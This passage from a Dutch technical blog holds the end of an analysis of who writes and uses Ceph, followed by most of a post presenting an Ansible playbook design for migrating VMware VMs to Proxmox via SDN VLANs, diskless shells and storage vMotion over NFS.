9,0% van het decennium laat geen werkgever zien, en sommige van die mensen worden zeker betaald om Ceph te schrijven. Review is onzichtbaar in git — Ceph reviewt in pull requests op GitHub, niet in Reviewed-by:-regels, waarvan ik er twaalf in drie jaar vond; de belangrijkste poort in het project laat geen spoor achter in een kloon. De cijfers zijn alleen main, dus backports naar stabiele branches zijn niet meegeteld, wat het onderhoudswerk onderschat. En elk adoptiecijfer hier is een vloer, om de telemetriereden die hierboven staat.\nWaar een bewering op een datum rust, heb ik de auteursdatum gebruikt; waar hij op iemands werkgever rust, een adres dat ze zelf hebben gepubliceerd.\nWat ik hieruit meeneem Ceph is een door bedrijven gefinancierd project met een echte gemeenschap eromheen, en dat is het zijn hele commerciële leven geweest. Dat is geen sneer. Iemand moet ingenieurs betalen om gedistribueerde opslag op deze schaal te onderhouden, en tien jaar lang heeft iemand dat gedaan.\nIk ga niet doen alsof Ceph typisch is, want ik heb het nagekeken. De statistieken van LWN voor Linux 6.15 noteren 2.068 ontwikkelaars van ten minste 195 werkgevers, met het grootste enkele bedrijf, Intel, op 12,0% van de changesets. Ceph is 1.718 mensen over een decennium met één bedrijf op 67,0%. De kernel spreidt zijn bedrijfsafhankelijkheid over tientallen firma\u0026rsquo;s. Ceph propt die in één. Dat is een echt verschil, en “iedereen doet dit” zou een luie manier zijn om het weg te wuiven.\nMaar hier is wat tien jaar data zegt over of dat uitmaakt, en het is een beter antwoord dan waar ik naar op zoek was:\nCeph is stevig op de manier die telt. Het verloor de man die het schreef, die een vijfde van het werk deed. Het verloor SUSE, zijn tweede grootste bijdrager en de auteur van het dashboard. Het verloor ZTE, Mirantis, XSKY, EasyStack, Inspur en de helft van de oprichtende leden van de Foundation. Het commit-tempo van vandaag zit binnen twee procent van dat van vorig jaar. Twintig jaar opslagtechniek zit in die boom onder LGPL-2.1 of LGPL-3, en niemand kan het sluiten, opnieuw licentiëren of terugnemen.\nDe maintainers zijn overdraagbaar. Fedotov heeft BlueStore door drie werkgevers overeind gehouden. Kefu Chai ging van Red Hat naar Proxmox en ging door. Sadeh schreef RGW bij DreamHost en veranderde zijn comitéadres deze juni naar Ubiquiti. Loopt een bedrijf weg, dan blijven zijn mensen vaak.\nDe deur staat echt open. Eén ingenieur bij IONOS werd in drie jaar de vijfde grootste bijdrager. Proxmox kwam met één aanname in de top tien. Een beveiligingsbedrijf zonder opslagproduct bouwt een vijfde van de OSD van de volgende generatie. 478 organisaties hebben patches gestuurd. Wil je erin, dan houdt niets je tegen behalve het werk.\nDe gebruikersbasis is veel groter dan iemand kan meten. Een exabyte over 3.000 clusters is wat zijn hand opstak via opt-in-telemetrie, en CERN alleen staat voor negentien productieclusters. Elk hyperconvergent Proxmox-cluster, elke Rook-uitrol, elk leveranciersapparaat met Ceph onder de kap is echt productiegebruik dat geen gepubliceerd cijfer meetelt. Software die zo breed en zo stil is uitgerold verdwijnt niet zomaar.\nDe inzet gaat waar het gat zit, niet waar de gebruikers zitten. RGW is het grootste programma in het project — 6.958 commits over het decennium — omdat Amazon inhalen op S3 een lange jacht op een bewegend doel is. RBD zit bijna onderaan omdat blokopslag klaar is. Een laag commit-aantal op een volwassen onderdeel is een afgemaakte klus en geen waarschuwing, en die twee getallen verkeerd om lezen is de makkelijkste fout die er is met data als deze. Ik maakte hem zelf bij de eerste doorgang.\nBeoordeel leveranciers op commits, niet op lagen. De geschiedenis is publiek en vier regels shell laten je zien wie er echt op het ding let waarvan je afhankelijk gaat worden. Gesloten opslag biedt je dat voor geen prijs.\nDus weeg je Ceph af: de concentratie is het waard te weten als je vijf jaar vooruit plant, en het is geen reden je in te houden. Een volwassen bloklaag. De grootste ingenieursinzet van het project recht op gelijkheid met S3 gericht. Een toekomstige OSD die door drie bedrijven tegelijk wordt gebouwd. Een handleiding die beter is dan de meeste. Bestuur dat het verlies van zijn oprichter heeft doorstaan. Een decennium review in de openheid gedaan, het werk van 478 organisaties in de boom, en een licentie waarvan het slechtste geval een fork is en niet een doodlopende weg. Op het bewijs van 69.613 commits is dit project in goede gezondheid.\nEn tel het zelf na als je me niet gelooft. De commando\u0026rsquo;s staan er, de data is publiek, en niets in dit bericht hoef je op vertrouwen aan te nemen — het mijne of dat van wie ook.\nBronnen Bronnen van het Ceph-project\n“Ceph: A Scalable, High-Performance Distributed File System” — Weil, Brandt, Miller, Long en Maltzahn, OSDI \u0026lsquo;06, november 2006. Het artikel waarmee Ceph begon ceph/ceph op GitHub — de repository waar elk commitcijfer uit komt; .organizationmap, .mailmap, .peoplemap, .githubmap, doc/governance.rst en COPYING staan er allemaal in Ceph governance — lidmaatschap van de Executive Council en het Ceph Steering Committee, met adressen Ceph component team — de componentleiders Ceph Foundation members — huidig lidmaatschap per laag Ceph Foundation documentation — de laagstructuur en het gratis Associate-lidmaatschap Ceph Foundation members, Quincy-documentatie — lidmaatschap zoals het rond 2022 stond Ceph telemetry module — bevestigt dat telemetrie opt-in is “Red Hat\u0026rsquo;s Ceph team is moving to IBM”, 4 oktober 2022 Ceph Community Newsletter, november 2021 — Sage Weil treedt terug Ceph Foundation en de Linux Foundation\nIntroducing Ceph Squid — de hierboven aangehaalde uitspraken van de Diamond-leden, en de cijfers van 1 exabyte / 3.000+ clusters The Linux Foundation Launches Ceph Foundation, 12 november 2018 — de lijst met oprichtende leden Hetzelfde bericht via PRNewswire — gebruikt om de lijst onafhankelijk te bevestigen Uitrollen\n“Ceph: Infrastructure Storage at CERN” — Enrico Bocchi, CERN IT Storage, 27 september 2024. Elk CERN-cijfer hierboven komt uit deze presentatie Why We Chose Ceph to Build Block Storage — DigitalOcean “We Added 6 Petabytes Of Ceph Storage and No Clients Noticed” — Matthew Leonard en Joseph Mundackal, Bloomberg, Cephalocon 2020 Ceph op Wikitech — de vijf productieclusters van de Wikimedia Foundation Ceph RBD block storage — de eigen documentatie van OVHcloud Deploy Hyper-Converged Ceph Cluster — Proxmox VE dat Ceph als hyperconvergente opslag levert Bedrijven\n“SUSE says tschüss to Ceph-based enterprise storage product”, The Register, 25 maart 2021 — SUSE Enterprise Storage geschrapt voor Longhorn Qi An Xin files for $634m IPO, Global Venturing, 13 mei 2020 — de oorsprong van QiAnXin bij Qihoo 360, het CEC-belang en de aandeelhouders Vergelijking\nDevelopment statistics for the 6.15 kernel, LWN.net — de tellingen van kernelontwikkelaars en werkgevers die voor de concentratievergelijking zijn gebruikt ","permalink":"https://blogs.damiendye.uk/nl/ceph/who-actually-writes-and-uses-ceph/","summary":"Ik heb elke commit op Ceph\u0026rsquo;s main-branch van de laatste tien jaar geteld — 69.613 stuks van 1.718 mensen uit 478 organisaties — alle 38 leden van het Steering Committee herleid naar hun werkgever, en de publiek verklaarde uitrollen verzameld. Het resultaat is een project dat het verlies van zijn oprichter en zijn tweede grootste bijdrager opving zonder een slag te missen, en dat vandaag nog in hetzelfde tempo levert.","title":"Wie Ceph echt schrijft en gebruikt"},{"content":"De Host Bestaat Deze Keer. Hij Zit Alleen Op De Verkeerde Hypervisor Vorige keer was het probleem dat de machine die in de inventory genoemd werd nog niet bestond — geen IP, geen SSH, geen Python, niets om mee te verbinden. Elke task moest ervan weg gedelegeerd worden.\nEen VMware-migratie keert dat om en verandert niets. De machine bestaat, hij draait, mensen gebruiken hem. Je verbindt er nog steeds nooit mee. Het is een naam en een zak variabelen die iets beschrijven om ergens anders te herbouwen. Elke task draait nog steeds op de control-node, en nu zijn er twee API\u0026rsquo;s aan de andere kant in plaats van één.\nEen opmerking over wat dit is. Deze post is het ontwerp en de playbook, geen oorlogsverhaal. Ik heb het nog niet van begin tot eind tegen een productielandschap gedraaid. Alles wat ik hieronder over modulegedrag zeg is uit de geleverde code gelezen en gecontroleerd, en ik heb ronduit gezegd waar een claim uit de bron komt in plaats van uit een run. Wanneer ik er een echte migratie mee heb gedaan, krijgen de getallen en de verrassingen hun eigen post.\nVersies waartegen dit gecontroleerd is:\n$ ansible --version | head -1 ansible [core 2.20.7] $ ansible-galaxy collection list | grep -E \u0026#39;vmware|proxmox\u0026#39; community.proxmox 1.6.0 community.vmware 6.2.1 vmware.vmware 2.9.0 De fragmenten hieronder zijn geknipt uit een enkele playbook — migrate.yml, een vSphere dynamische inventory in inventory/vmware.vms.yml, en één group_vars/all.yml. Ik heb de datacenter-, node- en storagenamen gegenericeerd voor leesbaarheid.\nDe Vorm Van De Klus Vijf stappen, en alleen de laatste kost iets.\ngasten draaien, niets in gevaar de uitval discover lees de distributed portgroups en hun VLAN-tags sdn één VLAN-zone, één VNet per VLAN op Proxmox build schijfloze schillen, juiste CPU, RAM, firmware en MAC's relocate storage-vMotion de VMDK's naar NFS, terwijl ze draaien cutover schakel uit, importeer de schijven, zet boot-volgorde en start de gast Alles wat omkeerbaar is wordt gedaan voordat er iets wordt uitgeschakeld Het trage deel is de relocate, en het kost helemaal geen downtime. Tegen de tijd dat het venster opent staan de schijven al op storage die Proxmox mount, dus de cutover is een lokale import in plaats van een kopie. Een schil zonder schijf is goedkoop om te verwijderen, dus een fout vóór de cutover kost niets dan tijd. De migratie halverwege afbreken laat elke gast nog draaien op VMware, onaangeraakt. Alles wat omkeerbaar is gebeurt eerst. De trage fase is gratis, en de dure fase is kort, want tegen die tijd staan de schijven al waar ze moeten zijn. De volgorde is het hele ontwerp. Discovery verandert niets. Het netwerk bouwen verandert alleen Proxmox. De schillen bouwen verandert alleen Proxmox, en een schil zonder schijf is goedkoop om te verwijderen. De schijven verplaatsen is traag maar live. Alleen de laatste play schakelt iets uit.\nLoop halverwege weg en elke gast draait nog steeds op VMware, onaangeraakt.\nTwee Collecties, en Een Ervan Wordt Uitgefaseerd Je hebt beide nodig, en niet om de reden die je zou raden.\ncollections: - name: community.vmware version: \u0026#34;\u0026gt;=6.2.1\u0026#34; - name: vmware.vmware version: \u0026#34;\u0026gt;=2.5.0\u0026#34; - name: community.proxmox version: \u0026#34;\u0026gt;=1.6.0\u0026#34; community.vmware is de oude, brede collectie en die wordt uit elkaar gehaald. Zijn MANIFEST.json declareert {\u0026quot;vmware.vmware\u0026quot;: \u0026quot;\u0026gt;=2.5.0\u0026quot;} als harde afhankelijkheid, dus de eerste installeren trekt de tweede erbij of je erom vroeg of niet. Modules verhuizen één voor één, en die welke je in een migratie pakt zitten in verschillende stadia van die verhuizing:\nvmware_dvs_portgroup_info — nog steeds alleen in community.vmware, en het is wat je VLAN\u0026rsquo;s leest. vmware_vmotion — nog steeds alleen in community.vmware. vmware_guest_powerstate — deprecated, verwijderd in community.vmware 7.0.0. Gebruik vmware.vmware.vm_powerstate. vmware_vm_inventory — deprecated, verwijderd in 7.0.0. Gebruik vmware.vmware.vms. Ansible vertelt je over de module-deprecations op de eerste run, wat aardig van het is:\n[DEPRECATION WARNING]: community.vmware.vmware_guest_powerstate has been deprecated. Use vmware.vmware.vm_powerstate instead. This feature will be removed from collection \u0026#39;community.vmware\u0026#39; version 7.0.0. Het waarschuwt je niet over de inventory-plugin, want inventory-plugins worden geparseerd voordat die machinerie draait. Je moet de plugin gaan lezen.\nEr is een derde val in de splitsing. vmware.vmware.vm_portgroup_info ziet eruit als precies wat een netwerkmigratie wil — per VM, per NIC, geeft je de portgroup en het VLAN. Maar het is gebouwd op ModuleRestBase en importeert com.vmware.vapi, wat betekent dat het de vSphere Automation SDK op de control-node nodig heeft, niet alleen pyVmomi. Zijn gedocumenteerde return is ook verouderd: het RETURN-blok belooft name en vlan_id, terwijl de code werkelijk portgroup_name en een vlan_info-dict bouwt voor het distributed-geval. Ik ging een andere weg, hieronder, en had geen van beide nodig.\nDe Inventory Is De Discovery Er is geen \u0026ldquo;ga de VM\u0026rsquo;s zoeken\u0026rdquo;-play in deze playbook, want tegen de tijd dat de eerste task draait heeft de inventory het al gedaan — in één property-collector-query in plaats van een lus per VM.\n# inventory/vmware.vms.yml plugin: vmware.vmware.vms hostname: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_HOST\u0026#39;) }}\u0026#34; username: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_USER\u0026#39;) }}\u0026#34; password: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_PASSWORD\u0026#39;) }}\u0026#34; validate_certs: false search_paths: - /Datacenter-1 properties: - name - config.name - config.uuid - config.guestId - config.firmware - config.template - config.hardware.numCPU - config.hardware.numCoresPerSocket - config.hardware.memoryMB - config.hardware.device - summary.runtime.powerState gather_compute_objects: true hostnames: [\u0026#39;name\u0026#39;] filter_expressions: - \u0026#39;config.template\u0026#39; De bestandsnaam doet ertoe. De verify_file van de plugin claimt alleen bestanden die eindigen op vms.yml, vms.yaml, vmware_vms.yml of vmware_vms.yaml. Noem het vcenter.yml en het is stilletjes niet jouw inventory.\nsearch_paths filtert vóór de query, niet erna. Op een groot landschap is dat het verschil tussen seconden en minuten — anders dan filter_expressions, waar de docs expliciet over zijn: het draait na collectie en \u0026ldquo;does not affect the speed of the inventory plugin\u0026rdquo;.\nfilter_expressions laat een host vallen wanneer de expressie waar is. config.template verwijdert daarom templates, wat de eerste keer achterstevoren leest.\nEn de belangrijke regel is config.hardware.device, die in geen enkele standaard-property-lijst ergens staat. Het is de hele hardware-inventory van de VM, en het draagt drie dingen die deze migratie niet zonder kan: het MAC van elke NIC, de dvportgroup-key waaraan elke NIC gekoppeld is, en het datastore-pad van elke schijf. Zonder het ben je terug bij een vmware_guest_info-lus, één rondgang per VM.\nDe apparaten komen terug als JSON met hun vSphere-type bewaard in _vimtype. Dat is de moeite waard te weten want het is hoe je een NIC van een schijf onderscheidt. Ik controleerde de encoder in plaats van te raden:\n{ \u0026#34;_vimtype\u0026#34;: \u0026#34;vim.vm.device.VirtualVmxnet3\u0026#34;, \u0026#34;macAddress\u0026#34;: \u0026#34;00:50:56:87:a5:9a\u0026#34;, \u0026#34;backing\u0026#34;: { \u0026#34;_vimtype\u0026#34;: \u0026#34;...DistributedVirtualPortBackingInfo\u0026#34;, \u0026#34;port\u0026#34;: { \u0026#34;_vimtype\u0026#34;: \u0026#34;vim.dvs.PortConnection\u0026#34;, \u0026#34;portgroupKey\u0026#34;: \u0026#34;dvportgroup-1014\u0026#34; } } } Dus een compose-blok kan de lastige paden omhoogtrekken naar platte hostvars:\ncompose: vm_moid: moid vm_firmware: config.firmware vm_memory_mb: config.hardware.memoryMB vm_num_cpu: config.hardware.numCPU # A virtual NIC is any device with a MAC. Filtering on _vimtype does not # work cleanly here, because VMXNET3, E1000 and SR-IOV cards are all # different types with no shared substring. vm_nics: \u0026gt;- config.hardware.device | selectattr(\u0026#39;macAddress\u0026#39;, \u0026#39;defined\u0026#39;) | selectattr(\u0026#39;macAddress\u0026#39;, \u0026#39;ne\u0026#39;, None) | list # Disks are one exact type, so this one can match on it. vm_disks: \u0026gt;- config.hardware.device | selectattr(\u0026#39;_vimtype\u0026#39;, \u0026#39;eq\u0026#39;, \u0026#39;vim.vm.device.VirtualDisk\u0026#39;) | list Die asymmetrie is echt en het verrast mensen. Er is geen VirtualEthernetCard-type om op te matchen. Dat is de abstracte basisklasse, en wat vCenter je werkelijk overhandigt is VirtualVmxnet3, VirtualE1000, VirtualE1000e, VirtualPCNet32 of VirtualSriovEthernetCard. Er is geen substring die aan alle gemeen is. Een MAC hebben, echter, is een ding dat alleen een NIC doet.\nElke Info-Module Verbergt Het Veld Dat Je Nodig Hebt Dit is de rode draad van de hele klus, en zodra je het drie keer hebt gezien begin je elke standaard te controleren voordat je de task schrijft.\nvmware_dvs_portgroup_info heeft zes show_*-opties. Vijf staan standaard op true. De zesde is show_vlan_info, en die staat standaard op false.\nshow_mac_learning=dict(type=\u0026#39;bool\u0026#39;, default=True), show_network_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), show_teaming_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), show_uplinks=dict(type=\u0026#39;bool\u0026#39;, default=True), show_port_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), show_vlan_info=dict(type=\u0026#39;bool\u0026#39;, default=False), Laat het met rust en je krijgt MAC-learning-beleid, teaming-beleid, uplink-volgorde en port-beleid voor elke portgroup in het landschap. Alles behalve de VLAN-tag, wat het enige veld is waar een netwerkmigratie werkelijk om vraagt. Dus de task is binnenstebuiten van wat je instinctief zou schrijven: zet het ene ding aan, zet de andere vijf uit.\n- name: Read the distributed portgroups community.vmware.vmware_dvs_portgroup_info: datacenter: \u0026#34;{{ vcenter_datacenter }}\u0026#34; show_vlan_info: true show_network_policy: false show_teaming_policy: false show_port_policy: false show_mac_learning: false show_uplinks: false register: dvs_pgs Het is geen eenmalig ding. vmware.vmware.vms heeft gather_compute_objects, dat cluster en esxi_host vult — standaard false. community.vmware.vmware_vm_info heeft show_allocated, wat het blok is dat CPU en geheugen houdt — standaard false. In alle drie de gevallen is het duur-te-verzamelen veld degene die de migratie nodig heeft, en de standaard beschermt een read-only rapportage-use-case die niet degene is waar je in zit.\nvlan_id Is Drie Verschillende Types Dan krijg je de VLAN-tags en vind je dat ze niet één vorm hebben. Rechtstreeks uit get_vlan_info:\nif isinstance(vlan_obj, vim...TrunkVlanSpec): ... return dict(trunk=True, pvlan=False, vlan_id=vlan_id_list) elif isinstance(vlan_obj, vim...PvlanSpec): return dict(trunk=False, pvlan=True, vlan_id=str(vlan_obj.pvlanId)) else: return dict(trunk=False, pvlan=False, vlan_id=str(vlan_obj.vlanId)) Een access-portgroup geeft je de string \u0026quot;100\u0026quot;. Een PVLAN geeft je een string. Een trunk geeft je een lijst van strings, elk ofwel \u0026quot;20\u0026quot; of \u0026quot;20-30\u0026quot;. En elke distributed switch heeft er minstens één trunk op of je er nu een maakte of niet, want de uplink-portgroup is een trunk die \u0026quot;0-4094\u0026quot; draagt.\nDus | int is niet voor je beschikbaar totdat je de andere twee vormen hebt weggegooid:\naccess_pgs: \u0026gt;- {{ dvs_pgs.dvs_portgroup_info | dict2items | map(attribute=\u0026#39;value\u0026#39;) | flatten | rejectattr(\u0026#39;vlan_info.trunk\u0026#39;) | rejectattr(\u0026#39;vlan_info.pvlan\u0026#39;) | rejectattr(\u0026#39;vlan_info.vlan_id\u0026#39;, \u0026#39;in\u0026#39;, [\u0026#39;0\u0026#39;, 0]) | list }} Drie rejects, in die volgorde. Trunks gaan weg, PVLAN\u0026rsquo;s gaan weg, en dan gaan untagged portgroups weg, wat ook de uplink-groepen en alles op VLAN 0 wegwerkt.\nIk vertaal trunks of PVLAN\u0026rsquo;s niet automatisch en ik zou iedereen tegenspreken die het wel deed. Een VMware-trunk die op Proxmox landt heeft ofwel een Q-in-Q-zone of een VLAN-aware VNet nodig, en welke juist is hangt af van wat de gast verwacht te zien. Dat is een beslissing, geen mapping. De playbook print ze en gaat door:\nTASK [Report what was found] ok: [localhost] =\u0026gt; { \u0026#34;msg\u0026#34;: \u0026#34;3 access portgroups -\u0026gt; [100, 200]. Not translated: [\u0026#39;dvs_001-uplink\u0026#39;] (trunks), [\u0026#39;isolated\u0026#39;] (PVLANs).\u0026#34; } De VLAN\u0026rsquo;s Spiegelen Naar SDN Eén VLAN-zone gebonden aan een bridge, dan één VNet per VLAN met de tag erop.\n- name: Create the VLAN zone community.proxmox.proxmox_zone: zone: \u0026#34;{{ sdn_zone }}\u0026#34; type: vlan bridge: \u0026#34;{{ sdn_bridge }}\u0026#34; mtu: \u0026#34;{{ sdn_mtu }}\u0026#34; state: present - name: Create one VNet per VMware VLAN community.proxmox.proxmox_vnet: vnet: \u0026#34;{{ sdn_vnet_prefix }}{{ item.vlan_info.vlan_id | int }}\u0026#34; zone: \u0026#34;{{ sdn_zone }}\u0026#34; tag: \u0026#34;{{ item.vlan_info.vlan_id | int }}\u0026#34; alias: \u0026#34;{{ item.portgroup_name }}\u0026#34; state: present loop: \u0026#34;{{ access_pgs | unique(attribute=\u0026#39;vlan_info.vlan_id\u0026#39;) }}\u0026#34; throttle: 1 VNet-namen zijn kort en beperkt, en VMware-portgroup-namen niet. Production-Web-Tier-VLAN100 is een volstrekt gewone portgroup-naam en een onmogelijke VNet-naam. Dus de naam wordt gegenereerd — v100, uit de tag — en het menselijk leesbare origineel gaat in alias, waar het zichtbaar blijft in de UI en in pvesh-uitvoer. De naam afleiden van het VLAN in plaats van van de portgroup betekent ook dat de mapping zes maanden later omkeerbaar is door inspectie.\nTwee portgroups op hetzelfde VLAN klappen samen tot één VNet. Dat is correct — ze waren ook in VMware hetzelfde broadcastdomein — maar je zou het moeten zien gebeuren, wat is wat unique(attribute='vlan_info.vlan_id') doet. Twee portgroups genaamd prod-web en prod-web-b, beide op VLAN 100, produceren één v100.\nthrottle: 1 is geen voorzichtigheid, het is de module. Elke SDN-write in community.proxmox neemt een globale clusterlock, past de pending config toe en geeft die vrij — get_global_sdn_lock(), dan apply_sdn_changes_and_release_lock(). Draai ze parallel en ze staan toch in de rij op de lock; de throttle stopt je alleen ervan te doen alsof anders. Ook de moeite waard te weten dat rollback bij falen versieafhankelijk is — de module controleert is_lock_and_rollback_supported en, op ouder PVE, vertelt je dat het niet kon terugrollen in plaats van het te doen.\nEén cosmetisch ding dat je aan jezelf zal laten twijfelen. Op 1.6.0 zendt proxmox_vnet zijn hele params-dict als een Ansible-waarschuwing bij elke enkele create:\nself.module.warn(f\u0026#34;{vnet_params}\u0026#34;) self.proxmox_api.cluster().sdn().vnets().post(**vnet_params) Dat is een debug-regel die iemand liet staan. Het is ruis, geen fout.\nBouw De Schillen, Zonder Schijven Nu de VM\u0026rsquo;s, en dit is waar het ontwerp zichzelf verdient. Elke VM wordt in Proxmox gebouwd met het juiste CPU-aantal, het juiste geheugen, de juiste firmware en de juiste NIC\u0026rsquo;s op de juiste VLAN\u0026rsquo;s. Helemaal geen schijven.\nEen schijfloze schil is snel te maken, gratis te verwijderen, en boot naar een PXE-prompt als iemand hem per ongeluk start. Je kunt er vierhonderd bouwen in een middag, naar het resultaat kijken, besluiten dat het fout is, de hele boel verwijderen en het opnieuw doen. Niets is gekopieerd, niets is uitgeschakeld, en niemand heeft het gemerkt.\nDe afgeleide waarden zijn declaraties, geen tasks. Ansible evalueert ze lui tegen welke host ook in scope is, dus elke VM krijgt zijn eigen zonder één enkele set_fact:\n# group_vars/all.yml pve_vmid: \u0026#34;{{ vmid_base | int + (vm_moid | regex_replace(\u0026#39;^vm-\u0026#39;, \u0026#39;\u0026#39;) | int) }}\u0026#34; pve_bios: \u0026#34;{{ \u0026#39;ovmf\u0026#39; if vm_firmware == \u0026#39;efi\u0026#39; else \u0026#39;seabios\u0026#39; }}\u0026#34; pve_cores: \u0026#34;{{ vm_cores_per_socket | int }}\u0026#34; pve_sockets: \u0026#34;{{ ((vm_num_cpu | int) / (vm_cores_per_socket | int)) | round(0, \u0026#39;ceil\u0026#39;) | int }}\u0026#34; De VMID komt uit de vCenter-MoID. vm-42 wordt 20042. Dat doet er meer toe dan het lijkt: de cutover-play moet de VM vinden die de build-play maakte, en een herdraai moet op dezelfde landen in plaats van stilletjes een tweede te bouwen. De API de volgende vrije ID laten toewijzen — wat gebeurt als je vmid weglaat, en waar ik vorige keer over schreef — maakt dat onmogelijk.\nGeheugen heeft geen conversie nodig. VMware rapporteert config.hardware.memoryMB en Proxmox wil MB. Sockets wel: VMware geeft je totale vCPU\u0026rsquo;s en cores-per-socket, Proxmox wil sockets en cores.\n- name: Create the VM shell delegate_to: localhost community.proxmox.proxmox_kvm: node: \u0026#34;{{ proxmox_node }}\u0026#34; vmid: \u0026#34;{{ pve_vmid }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; cores: \u0026#34;{{ pve_cores }}\u0026#34; sockets: \u0026#34;{{ pve_sockets }}\u0026#34; memory: \u0026#34;{{ vm_memory_mb }}\u0026#34; ostype: \u0026#34;{{ pve_ostype }}\u0026#34; bios: \u0026#34;{{ pve_bios }}\u0026#34; scsihw: \u0026#34;{{ default_scsihw }}\u0026#34; efidisk0: \u0026#34;{{ {\u0026#39;storage\u0026#39;: pve_target_storage, \u0026#39;efitype\u0026#39;: \u0026#39;4m\u0026#39;, \u0026#39;pre_enrolled_keys\u0026#39;: false} if pve_bios == \u0026#39;ovmf\u0026#39; else omit }}\u0026#34; agent: \u0026#34;enabled=1\u0026#34; onboot: false state: present onboot: false met opzet. Niets zou vanzelf moeten starten midden in een migratie, het minst van al een machine waarvan de schijven nog door een andere hypervisor beschreven worden.\nFirmware is niet optioneel om goed te krijgen. Een UEFI-gast geïmporteerd op een SeaBIOS-VM zal perfect importeren en dan weigeren te booten, en je zult er een uur aan besteden. config.firmware is efi of bios en mapt rechtstreeks op ovmf en seabios. Een UEFI-gast heeft ook een EFI-vars-schijf nodig, die met de VM aangemaakt moet worden — zie hieronder voor waarom.\nproxmox_kvm Zal Een NIC Niet Repareren, en Zal Het Je Niet Vertellen Vorige keer schreef ik dat proxmox_kvm weigert te convergeren in plaats van te updaten. Hier is de scherpere versie daarvan, die me beet terwijl ik dit schreef en de moeite waard is precies over te zijn.\nupdate staat standaard op false, dus herdraaien tegen een VM die al bestaat doet niets. Prima, en gedocumenteerd. Maar zet update: true en de module weigert nog steeds sommige parameters aan te raken:\n# If update, don\u0026#39;t update disk (virtio, efidisk0, tpmstate0, ide, sata, scsi) # and network interface, unless update_unsafe=True if update_unsafe is False: ... if \u0026#34;efidisk0\u0026#34; in kwargs: del kwargs[\u0026#34;efidisk0\u0026#34;] Het verwijdert ze uit de aanvraag en gaat door. Dus je corrigeert een NIC in je inventory-mapping, herdraait met update: true, ziet Ansible changed melden, en de NIC is precies zo fout als hij was. De changed is waar — iets anders in de payload werd geüpdatet — maar niet het ding dat je aan het repareren was.\nupdate_unsafe: true heft de beperking op, en de naam is eerlijk. Dezelfde waarborg dekt schijven, dus op een VM die schijven heeft is een unsafe update een goede manier om een tweede kopie van een te verwerven. Dat is geen schakelaar om tijdens een migratie naar te grijpen.\nDe uitweg is net helemaal niet gebruiken. NIC\u0026rsquo;s gaan erop met proxmox_nic, een module wiens hele klus één interface is en die correct convergeert:\n- name: Attach each NIC to its VNet delegate_to: localhost community.proxmox.proxmox_nic: vmid: \u0026#34;{{ pve_vmid }}\u0026#34; interface: \u0026#34;net{{ idx }}\u0026#34; bridge: \u0026#34;{{ sdn_vnet_prefix }}{{ pg_vlan[item.backing.port.portgroupKey] }}\u0026#34; mac: \u0026#34;{{ item.macAddress }}\u0026#34; model: \u0026#34;{{ default_net_model }}\u0026#34; state: present loop: \u0026#34;{{ vm_nics }}\u0026#34; loop_control: index_var: idx Dat is dezelfde splitsing waar ik vorige keer uitkwam: proxmox_kvm om de machine te definiëren, proxmox_disk en proxmox_nic voor de dingen die daarna veranderen. De parameter is mac, niet mac_addr.\nefidisk0 kan niet op dezelfde manier verplaatst worden — proxmox_disk heeft geen efitype of pre_enrolled_keys — dus het moet bij het aanmaken erop en de eerste keer goed zijn.\nDraag het MAC over. VMware deelt MAC\u0026rsquo;s uit vanaf 00:50:56:... en Proxmox neemt ze zonder klagen. Ze houden betekent dat DHCP-reserveringen nog matchen, MAC-locked licenties nog valideren, en elke firewallregel geschreven tegen een MAC nog vuurt. Ze veranderen betekent een dag kleine mysteries. proxmox_nic accepteert ook model: vmxnet3 als je nodig hebt dat de gast dezelfde NIC ziet die hij eerder zag, maar op KVM is virtio de betere kaart, en een Windows-gast zal hoe dan ook nieuwe drivers willen.\nWeiger In Plaats Van Te Raden Een NIC op een standaard-portgroup heeft helemaal geen backing.port. Zijn backing is een NetworkBackingInfo met een deviceName. Het zal niet in de map staan, en het juiste om te doen is stoppen:\n- name: Every NIC must sit on a distributed portgroup with a VNet ansible.builtin.assert: that: - vm_nics | rejectattr(\u0026#39;backing.port.portgroupKey\u0026#39;, \u0026#39;defined\u0026#39;) | list | length == 0 - vm_nics | map(attribute=\u0026#39;backing.port.portgroupKey\u0026#39;) | reject(\u0026#39;in\u0026#39;, pg_vlan.keys() | list) | list | length == 0 fail_msg: \u0026gt;- {{ inventory_hostname }} has NICs that do not map to a Proxmox VNet. Attaching it to the wrong network is worse than not building it. Twee condities in plaats van één, want de eerste moet vóór de tweede draaien: map(attribute=...) over een NIC zonder port zou ontploffen op de undefined lookup. Weiger eerst de vormeloze, controleer dan de rest tegen de map.\nEén Export, Twee Keer Gemount Hier is het deel dat het hele ding goedkoop maakt.\nZet een NFS-export waar beide hypervisors het kunnen mounten. vCenter ziet een datastore genaamd nfs-migration; de Proxmox-nodes mounten dezelfde export en zien /mnt/pve/nfs-migration. Storage-vMotion nu de VMDK\u0026rsquo;s erop.\nStorage vMotion is live. De gast blijft de hele tijd verkeer bedienen. Niets wordt overgezet, geen venster is nodig, en het kan halverwege afgebroken worden zonder gevolg voorbij verspilde I/O. Het is met een ruime marge de traagste fase en het kost niets.\n- name: Relocate to the NFS datastore delegate_to: localhost throttle: 2 community.vmware.vmware_vmotion: moid: \u0026#34;{{ vm_moid }}\u0026#34; destination_datastore: \u0026#34;{{ nfs_datastore_vmware }}\u0026#34; timeout: \u0026#34;{{ vmotion_timeout }}\u0026#34; timeout staat standaard op 3600 — één uur. Een VMDK van 2 TB haalt het niet, en de faalmodus is naar op een stille manier: de Ansible-task faalt terwijl de vMotion doordraait in vCenter. Je hebt nu een playbook die zegt dat het faalde en een landschap dat nog druk is. Zet het op iets dat je werkelijke storage weerspiegelt.\nthrottle: 2, want de bottleneck is niet de control-node. Storage vMotion wordt begrensd door de array en het netwerk. Zes tegelijk geeft je geen zes keer de doorvoer; het geeft je zes trage migraties en een boos storage-team.\nDe module is idempotent op de manier die je wilt — het zet storage_vmotion_needed = False als de VM al op de doel-datastore staat — dus herdraaien om achterblijvers op te pikken is veilig.\nTegen de tijd dat dit klaar is, zitten de bytes op storage die Proxmox al mount. 